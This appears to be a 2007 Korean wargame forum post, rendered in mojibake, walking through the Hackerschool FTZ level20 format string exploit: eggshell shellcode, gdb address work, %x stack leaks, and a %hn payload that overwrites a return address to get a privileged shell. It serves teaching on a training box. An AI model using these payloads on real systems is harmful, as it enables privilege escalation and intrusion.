http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=2578 [º¹»ç]
shell»óÅÂ¿Í gdb »óÅ¿¡¼ÀÇ ret ÁÖ¼Ò´Â ´Ù¸¨´Ï´Ù.
ÇÏÁö¸¸ ½ºÅûóÀÇ ¹èÄ¡±¸Á¶´Â »ó´ëÀûÀ¸·Î °°½À´Ï´Ù.
ÀÌ ¿ø¸®¸¦ ÀÌ¿ëÇÏ´Â °Ì´Ï´Ù.
Ä¿³Î 2.4À̹ǷΠȯ°æº¯¼öÀÇ ½©Äڵ尡 ½ÇÇàÀÌ °¡´ÉÇÕ´Ï´Ù.
¸ÕÀú eggshellÀ» ¶ç¿ó´Ï´Ù.
[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
[level20@ftz tmp]$
´ÙÀ½ gdb»óÅ¿¡¼ retÁÖ¼Ò¸¦ ¾Ë¾Æº¸°Ú½À´Ï´Ù.
[level20@ftz tmp]$ gdb -q ../attackme
(gdb) disas main
Dump of assembler code for function main:
0x080483b8 <main+0>: push %ebp
0x080483b9 <main+1>: mov %esp,%ebp
0x080483bb <main+3>: sub $0x58,%esp
0x080483be <main+6>: and $0xfffffff0,%esp
0x080483c1 <main+9>: mov $0x0,%eax
0x080483c6 <main+14>: sub %eax,%esp
0x080483c8 <main+16>: sub $0x8,%esp
0x080483cb <main+19>: push $0xc1d
0x080483d0 <main+24>: push $0xc1d
0x080483d5 <main+29>: call 0x80482f8 <setreuid>
0x080483da <main+34>: add $0x10,%esp
0x080483dd <main+37>: sub $0x4,%esp
0x080483e0 <main+40>: pushl 0x80495c0
0x080483e6 <main+46>: push $0x4f
0x080483e8 <main+48>: lea 0xffffffa8(%ebp),%eax
0x080483eb <main+51>: push %eax
0x080483ec <main+52>: call 0x80482c8 <fgets>
0x080483f1 <main+57>: add $0x10,%esp
0x080483f4 <main+60>: sub $0xc,%esp
0x080483f7 <main+63>: lea 0xffffffa8(%ebp),%eax
0x080483fa <main+66>: push %eax
0x080483fb <main+67>: call 0x80482e8 <printf>
0x08048400 <main+72>: add $0x10,%esp
0x08048403 <main+75>: leave
0x08048404 <main+76>: ret
0x08048405 <main+77>: nop
0x08048406 <main+78>: nop
0x08048407 <main+79>: nop
End of assembler dump.
(gdb) b *main+1
Breakpoint 1 at 0x80483b9
(gdb) r
Starting program: /home/level20/attackme
Breakpoint 1, 0x080483b9 in main ()
(gdb) x/x $esp
0xbffff1e8: 0xbffff208 <--- ÀÌÀü ebp ÁÖ¼Ò
(gdb)
0xbffff1ec: 0x40038917 <--- ret
(gdb)
ret ÁÖ¼Ò´Â 0xbffff1ecÀÌ°í ÀÌÀü ebpÁÖ¼Ò´Â 0xbffff208ÀÔ´Ï´Ù.
ÀÌ µÑÀÇ Â÷ÀÌ°ªÀº Ç×»ó ÀÏÁ¤ÇÕ´Ï´Ù.
Â÷ÀÌ°ªÀ» ±¸Çϸé 0xbffff208 - 0xbffff1ec = 0x1c
ÀÌ Â÷ÀÌ°ªÀ» Àß ±â¾ïÇϽñ⠹ٶø´Ï´Ù.
±× ´ÙÀ½ ½© »óÅ¿¡¼ ÀÌÀü ebpÁÖ¼Ò¸¦ ±¸Çغ¸°Ú½À´Ï´Ù.
[level20@ftz tmp]$ ../attackme
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
4f401574604009d5007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825bfff000a80482b54000c660bffff234bffff1e88048412401591c040015360bffff208400389171 <--- ret ÁÖ¼Ò.
[level20@ftz tmp]$
Æ÷¸ä½ºÆ®¸µ ¹ö±×¸¦ ÅëÇؼ ÀÌÀü ebpÁÖ¼Ò°¡ ³ëÃâµÇ¾úÁÒ?
º¸½Ã¸é ÀÌÀü ebpÁÖ¼Ò´Â 0xbffff208·Î gdb¿Í °°Àº ÁÖ¼Ò¸¦ °®°í ÀÖ½À´Ï´Ù.
±×·³ ´ç¿¬È÷ retÁÖ¼Òµµ °°½À´Ï´Ù.
ÇÏÁö¸¸ egg½©À» Ãë¼ÒÇÑ ÈÄ ´Ù½Ã È®ÀÎÀ» Çغ¸¸é...
[level20@ftz tmp]$ exit
exit
[level20@ftz tmp]$ ../attackme
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
4f401574604009d5007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825bfff000a80482b54000c660bffffb24bffffad88048412401591c040015360bffffaf8400389171 <--- ÀÌÀü ebpÁÖ¼Ò°¡ ´Ù¸§!!!
ÀÌÀü ebpÁÖ¼Ò°¡ 0xbffffaf8·Î½á ´Ù¸§À» ¾Ë¼ö ÀÖ½À´Ï´Ù.
ÀÌ·± Çö»óÀÌ ¹ß»ýÇÏ´Â ÀÌÀ¯´Â egg½©¿¡¼ ¼öÇàÇϴ ȯ°æº¯¼ö µî·Ï¶§¹®ÀÔ´Ï´Ù.
¸ðµç ȯ°æº¯¼ö´Â ½ºÅÃ»ó¿¡ ¹èÄ¡µÇ´Âµ¥ egg½©ÀÇ °æ¿ì NOPÄڵ带 ºñÁ¤»óÀûÀ¸·Î Å©°Ô ³Ö½À´Ï´Ù.
Ä¿³Î 2.4¿¡¼ ȯ°æº¯¼öÀÇ Å©±â°¡ ºñÁ¤»óÀûÀ¸·Î Ŭ °æ¿ì ½ºÅñ¸Á¶°¡ gdb¿Í shell°ú °°¾Æ Áö´Â Çö»óÀÌ ¹ß»ýÇÕ´Ï´Ù.
°¡²û egg½©À» ¶ç¿ü´Âµ¥µµ ºÒ±¸ÇÏ°í retÁÖ¼Ò°¡ ´Ù¸¥ °æ¿ìµµ Àִµ¥ ±× °æ¿ì´Â
ȯ°æº¯¼öÀÇ ³»¿ëÀ» ¼öÁ¤Ç߰ųª argv¿µ¿ªÀÇ °ªÀÌ ´Ù¸¦°æ¿ì ¹ß»ýÇÕ´Ï´Ù.
ÇÏÁö¸¸ ´Ù¸£´Ù°í ÇÒÁö¶óµµ ¾Æ±î ±¸ÇÑ gdb¿¡¼ÀÇ ÀÌÀü ebp - retÁÖ¼Ò Â÷ÀÌ°ªÀ»
±¸ÇÑ ´ÙÀ½ shell¿¡¼ ÀÌÀü ebp°ªÀ» ¾Ë¼ö ÀÖÀ¸¸é ¼Õ½±°Ô retÁÖ¼Ò¸¦ ¾Ë¼öÀÖ½À´Ï´Ù.
´Ù½Ã egg½©À» ½ÇÇàÇÑ ÈÄ retÁÖ¼Ò¸¦ º¯°æÇÏ¿© ½©À» ½ÇÇàÇØ º¸°Ú½À´Ï´Ù.
[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
[level20@ftz tmp]$
½©¿¡¼ÀÇ retÁÖ¼Ò´Â 0xbffff1ecÀÔ´Ï´Ù.
[level20@ftz tmp]$ (python -c 'print "\xee\xf1\xff\xbf"+"\xec\xf1\xff\xbf"+"%49143x%4$hn"+"%15033x%5$hn"';cat) | ../attackme
...
40157460
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
my-pass
TERM environment variable not set.
clear Password is "**********************".
À¥¿¡¼ µî·ÏÇϼ¼¿ä.
* ÇØÄ¿½ºÄðÀÇ ¸ðµç ·¹º§À» Åë°úÇϽŠ°ÍÀ» ÃàÇϵ帳´Ï´Ù.
´ç½ÅÀÇ ²öÁú±ä ¿Á¤°ú ´É¼÷ÇÑ ¼Ø¾¾¿¡ Âù»ç¸¦ º¸³À´Ï´Ù.
ÇØÄ¿½ºÄð¿¡¼´Â ½Ç·ÂÀÖ´Â ºÐµéÀ» ¸ð¾Æ ¿¬±¸¼Ò¶ó´Â ±×·ìÀ» ¿î¿µÇÏ°í ÀÖ½À´Ï´Ù.
ÀÌ ¸Þ½ÃÁö¸¦ º¸½Ã´Â ºÐµé Áß¿¡ ¿¬±¸¼Ò¿¡ °ü½ÉÀÖÀ¸½Å ºÐÀº ÀÚÀ¯·Î¿î ¾ç½ÄÀÇ
°¡ÀÔ ½Åû¼¸¦ admin@hackerschool.org·Î º¸³»Áֽñ⠹ٶø´Ï´Ù.
ClearÀÇ ±ÇÇÑÀ» ȹµæÇß½À´Ï´Ù.
--------------------------------------------------------------------------
Ä¿³Î 2.4´Â ½ºÅÃÀÇ ÁÖ¼Ò°¡ °íÁ¤ÀûÀ̱⠶§¹®¿¡ ½ºÅÃ»ó¿¡ ÀÖ´Â ÁÖ¼Ò°ª°ú »ó´ëÀûÀÎ
Â÷À̸¦ ÀÌ¿ëÇÏ¸é ¾ó¸¶µçÁö °¡´ÉÇÕ´Ï´Ù.
À§¿¡¼ º¸¿©ÁØ ¿¹´Â main()ÀÇ ¸®ÅϾîµå·¹½ºº¯Á¶Áö¸¸ Æ÷¸ä½ºÆ®¸µÀÌ ÀϾ´Â
printfÀÇ ¸®ÅϾîµå·¹½ºµµ º¯Á¶°¡ °¡´ÉÇÕ´Ï´Ù.
ÀÌÀü ±Û¿¡¼ Áú¹®ÇϽŠ´äº¯À» ´õÇص帮°Ú½À´Ï´Ù.
Áú¹® : Ãß°¡·Î Çϳª¸¸ ´õ Áú¹® µå¸±°Ô¿ä..// ±×·¸´Ù¸é, sh-3.2# ÀÌ·±½ÄÀ¸·Î ½©ÀÌ ¶ß´Â°Ç, ÀÚ½ÄÇÁ·Î¼¼½º·Î ½©ÀÌ¶ß´Â°Ô ¾Æ´Ï¶ó, µ¶¸³µÈ ÇÁ·Î¼¼½º·Î ½©ÀÌ ¶á´Ù´Â ¸»¾¸À̽Űǰ¡¿ä??
ÀÚ½ÄÇÁ·Î¼¼½º¶ó´Â ¸»¿¡ ÁßÁ¡À» µÎ°í ÀÐÀ¸½Å°Í °°½À´Ï´Ù. ^^;;
Ç¥ÁØ ÀÔ·ÂÀ» ¿ä±¸ÇÏ´Â ÇÁ·Î±×·¥À» °ø°ÝÇؾßÇÒ °æ¿ì ÆÄÀÌÇÁ¸¦ ÅëÇؼ
¿øÇÏ´Â Äڵ带 ³Ö¾î¾ß ÇÕ´Ï´Ù.
´ÙÀ½°ú °°ÀÌ ÀÔ·ÂÀ» ÇÒ °æ¿ì
printf "..." | ./vul
¸ÕÀú printf°¡ ½ÇÇàÀÌ µÇ°í Ãâ·ÂµÇ´Â °ªÀ» Àá½Ã ÀúÀåÇÏ°í ÀÖ½À´Ï´Ù.
ÀÌ »óÅ¿¡¼ vulÀÌ ½ÇÇàÀÌ µË´Ï´Ù.
vul¿¡¼ Ç¥ÁØ ÀÔ·ÂÀ» ¿ä±¸ÇÒ¶§ ±×¶§¼¾ß printfÀÇ Ãâ·Â Äڵ带 ÀÔ·ÂÀ¸·Î ³Ö°ÔµÇ°í
printf´Â Á¾·á°¡ µË´Ï´Ù.
ÀÌ·¸°Ô µÇ¸é ´ÙÀ½°ú °°ÀÌ µË´Ï´Ù.
... | ./vul
Áï ÆÄÀÌÇÁÀÇ ¿¬°áÀÌ ÇØÁ¦°¡ µË´Ï´Ù.
ÀÌ »óÅ¿¡¼ ÀÚ½ÄÇÁ·Î¼¼½º·Î shellÀÌ ¶á´Ù°í Çصµ ÀÔ·ÂÀ» ÇÒ¼ö ¾ø°Ô µË´Ï´Ù.
±×·¡¼ printf "...";cat | ./vul
ÀÌ·¸°Ô ½ÇÇàÇϹǷνá
cat | ./vul --> shell
catÀ̶ó´Â Ç¥ÁØ Ãâ·Â ÇÁ·Î±×·¥À» ÀÌ¿ëÇؼ shell¿¡°Ô ¸í·ÉÀ» ³»¸±¼öÀÖ´Â ÆÄÀÌÇÁ¸¦
¿¬°á À¯ÁöÇϱâ À§ÇÔÀÔ´Ï´Ù.
ÆÄÀÌÇÁÀÇ ¿¬°á À¯Áö¸¦ À§Çؼ À§¿Í °°ÀÌ °ø°ÝÀ» Çϴ°ÍÀÔ´Ï´Ù. ^^
ÀúÀÇ ÂªÀº Áö½ÄÀÌ ´äº¯ÀÌ µÇ¾ú´ÂÁö ¸ð¸£°Ú½À´Ï´Ù.
Àúµµ pogusm´Ôó·³ ½ºÅðú ¾¾¸§ÇÒ¶§°¡ ±â¾ï³ª³×¿ä ^^
Áñ°Å¿î ÇÏ·ç µÇ¼¼¿ä~ |
Hit : 3607 Date : 2007/11/21 11:29
|